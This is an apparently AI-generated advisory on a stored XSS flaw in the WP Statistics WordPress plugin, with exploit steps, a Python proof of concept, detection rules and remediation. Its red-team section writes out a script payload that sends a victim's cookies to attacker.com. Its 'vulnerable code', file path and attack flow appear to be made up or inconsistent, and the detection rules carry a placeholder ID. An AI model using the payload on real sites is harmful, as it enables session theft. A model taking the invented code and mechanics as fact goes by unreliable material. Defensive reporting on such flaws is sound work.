CVE-2024-2194

Executive Summary

CVE-2024-2194 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Statistics plugin for WordPress, affecting all versions up to and including 14.5. The flaw resides in insufficient input sanitization and output escaping of the URL search parameter, allowing unauthenticated attackers to inject arbitrary web scripts. When a user (e.g., an admin) accesses a page containing the injected payload, the script executes in their browser context, potentially leading to session hijacking, data theft, or further compromise.

This vulnerability is particularly dangerous because it requires no authentication and can be triggered by any user visiting the compromised page. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of proof-of-concept code increases the risk for targeted attacks.

WordPress Ecosystem Context

As a WordPress plugin vulnerability, this issue affects sites running WP Statistics. The attack vector is through the plugin's search functionality, which stores user-supplied input without proper sanitization. The plugin is widely used for analytics, making many sites potentially vulnerable.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit the injected page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: High. The vulnerability allows unauthenticated attackers to execute arbitrary JavaScript in the context of any user viewing the affected page. While user interaction is required, the attack can be automated via social engineering or by injecting into high-traffic pages.

Deep Dive & Mechanics

The vulnerability exists in the WP Statistics plugin's handling of the URL search parameter. When a user performs a search, the plugin stores the search term in the database and displays it on the statistics page. The input is not properly sanitized or escaped, allowing an attacker to inject HTML and JavaScript.

Root Cause: The plugin uses $_GET['search'] or similar input without applying WordPress's esc_html() or sanitize_text_field() functions before outputting it in the admin dashboard or frontend pages.

Attack Flow:

1. Attacker crafts a malicious URL: https://target-site.com/wp-admin/admin.php?page=wps_overview&search=<script>alert('XSS')</script>
2. The plugin stores the search term in the database.
3. When an admin or user visits the statistics page, the stored script executes.
4. The attacker can steal cookies, redirect users, or perform actions on behalf of the victim.

Why Unauthenticated? The search functionality is accessible to unauthenticated users in some configurations, or the attacker can inject via a public-facing search form.

Vulnerable vs. Patched Code

Vulnerable Code (<= 14.5):

// In wp-statistics/includes/class-wp-statistics-admin.php
$search = $_GET['search'];
echo '<input type="text" name="search" value="' . $search . '" />';

Patched Code (Hypothetical):

$search = sanitize_text_field($_GET['search']);
echo '<input type="text" name="search" value="' . esc_attr($search) . '" />';

The patched version uses sanitize_text_field() to strip malicious input and esc_attr() to safely output the value.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target WordPress site with WP Statistics <= 14.5
• No authentication required for the search endpoint

Exploit Steps:

1. Identify the vulnerable endpoint: /wp-admin/admin.php?page=wps_overview&search=
2. Inject a payload: ?page=wps_overview&search=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
3. Send the link to an admin or wait for a user to visit the statistics page.
4. The script executes, exfiltrating cookies to the attacker's server.

Proof-of-Concept (Python):

import requests

target = "http://target-site.com/wp-admin/admin.php"
payload = "<script>alert('XSS')</script>"
params = {"page": "wps_overview", "search": payload}
response = requests.get(target, params=params)
print("Payload injected. Visit the statistics page to trigger.")

Blue Team (Defender)

Detection Steps:

1. Monitor for suspicious search parameters in HTTP requests to /wp-admin/admin.php.
2. Check for unexpected JavaScript in the wps_overview page source.
3. Review database entries in the wp_statistics table for malicious scripts.

Hunting Query (SQL):

SELECT * FROM wp_statistics WHERE search LIKE '%<script>%' OR search LIKE '%onerror%' OR search LIKE '%javascript:%';

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin.php?page=wps_overview&search= containing <script> tags or event handlers.
  • Outbound connections to unknown domains from the WordPress server.
• File IOCs:
  • Modified entries in the wp_statistics database table.
  • Unexpected JavaScript files in the wp-content/uploads/ directory.
• Behavioral IOCs:
  • Unusual admin actions (e.g., new admin accounts, plugin installations) originating from the same session.

Detection Engineering

YARA Rule

rule CVE_2024_2194_WP_Statistics_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Statistics plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2194"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/is
        $javascript_uri = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-2194 WP Statistics Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS in WP Statistics plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query:
            - '*page=wps_overview*search=*<script>*'
            - '*page=wps_overview*search=*onerror*'
            - '*page=wps_overview*search=*javascript:*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search terms (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-2194 WP Statistics Stored XSS Attempt";
    flow:to_server,established;
    content:"/wp-admin/admin.php";
    http_uri;
    content:"page=wps_overview";
    http_uri;
    content:"search=";
    http_uri;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Statistics plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block malicious search parameters.
3. Review and clean the wp_statistics database table for any injected scripts.

Long-term Fix:

• Update to the latest version of WP Statistics (once patched).
• Apply input sanitization and output escaping in custom code.

Workaround:

• Add the following to .htaccess to block suspicious search queries:

RewriteEngine On
RewriteCond %{QUERY_STRING} (script|onerror|javascript) [NC]
RewriteRule ^wp-admin/admin.php - [F,L]

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.